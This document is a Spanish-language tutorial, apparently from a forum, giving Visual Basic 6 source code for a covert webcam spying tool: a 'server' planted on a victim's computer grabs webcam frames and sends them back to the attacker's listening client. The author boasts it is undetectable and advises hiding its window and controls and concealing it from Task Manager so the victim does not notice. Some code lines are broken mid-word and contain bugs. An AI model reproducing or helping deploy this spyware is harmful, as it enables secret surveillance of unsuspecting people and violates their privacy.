Les voy a enseñar construir nuestro sistema de cliente/servidor
para espiar la webcam del servidor

.
Lo mejor de esta aplicacion es que ES INDETECTABLE!!. Asi es, debido
a que el servidor en realidad funciona como cliente, y el cliente, es el servidor!
Es decir que nosotros (El cliente) somos los que enrealidad abrimos los puertos y,
el servidor, es el que se conecta a nosotros para comenzar a enviarnos las imagenes.
Por lo que el Servidor (En realidad cliente xD) no le detecta nada, sino que al que le detecta
sera a nosotros, pero no se preocupen, simplemnete cierren el antivirus asi no molesta xD
Y si tenemos el Firewall activado, y nos pregunta que hacer apretamos Desbloquear.
Ahora si, comencemos...
Primero configuraremos el Cliente.El cliente posee un Winsock Control. Para agregarlo vamos a Proyecto>Componentes>
Microsoft Winsock Control 6.0.
Y un PcitureBox. A los dos les dejaremos el nombre que traen para no confundirnos
mucho.
Luegro le agregamos el siguiente codigo:
---------------------------------------------------------------------------------
Dim Ruta As String
Private Sub Form_Load()
Ruta = "c:\temporal2.bmp"
Open Ruta For Binary As #1
On Error Resume Next
Kill (Ruta)
Open "ruta" For Binary As #1
Winsock1.Local
Port = 1000
Winsock1.Liste
n
End Sub
Private Sub Winsock1_Conne
ctionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accep
t requestID
End Sub
Private Sub Winsock1_DataA
rrival(ByVal bytesTotal As Long)
Dim Imagen As String
Winsock1.GetDa
ta Imagen, vbNullString
Put #1, , Imagen
If Right(Imagen, 3) = "Fin" Or Imagen = "Fin" Then
Close
Picture1 = LoadPicture(Ruta)
Open Ruta For Binary As #1
End If
End Sub
------------------------------------------
Ahora el Servidor...El servidor posee un formulario, y un modulo.
El formulario posee dos TextBox, un PictureBox un Control Winsock, un Timer y un
CommandButton
Recuerda dejarle los mismos nombres.
Y este codigo:
------------------------------------------
Dim Imagen() As Byte
Private Sub Form_Load()
Command1.Capti
on = "Conectar"
Text1.Text = "
TUIP" 'Aqui debe tu ip!, buenisimo no?, ni conseguir la ip de la cpu a espiar precisas

If Command1.Capti
on = "Conectar" Then
Winsock1.CONNE
CT Text1, CInt(Text2)
mCapHwnd = capCreateCaptu
reWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
Timer1.Enabled = True
Command1.Capti
on = "Desconectar"
Else
Timer1.Enabled = False
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock1.Close
Me.Caption = "Desconectado"
Command1.Capti
on = "Conectar"
End If
End Sub
Private Sub Form_QueryUnlo
ad(Cancel As Integer, UnloadMode As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock1.Close
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
Picture1.Pictu
re = Clipboard.GetD
ata
SavePicture Clipboard.GetD
ata, "c:\temporal.bmp"
Dim Tamaño As Long
Open "c:\temporal.bmp" For Binary Access Read As #1
Tamaño = LOF(1)
ReDim Imagen(Tamaño - 1)
Get #1, , Imagen
Close
Winsock1.SendD
ata Imagen
Winsock1.SendD
ata "Fin"
End Sub
Private Sub Winsock1_Close()
Me.Caption = "Desconectado"
End Sub
Private Sub Winsock1_Conne
ct()
Me.Caption = "Conectado"
End Sub
------------------------------------------
Y el modulo tiene este codigo:
Public Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function capCreateCaptu
reWindow Lib "avicap32.dll" Alias "capCreateCaptu
reWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long
Public mCapHwnd As Long
Public Const CONNECT As Long = 1034
Public Const DISCONNECT As Long = 1035
Public Const GET_FRAME As Long = 1084
Public Const COPY As Long = 1054
NOTAS:
Debemos poner False en la Opcion "Visible" de: Text1, Text2 y CommandButton1 .
Para que ande correctamente, primero debe estar abierto el cliente
y luego el servidor, si primero se abre el servidor y luego el
cliente, no funcionara.
El Intervalo del Timer debe ser el que nosotros queramos (Recomiendo 200).
Debemos cambiar la propiedad "Enabled" del Timer a False.
El "Text" de Text2 debe ser 1000.
Tambien es recomendable hacer invisible el formulario de servidor, asi la otra
persona no nos descubre, y tambien hacerlo invisible en el administrador de tareas.Saludos!
------------------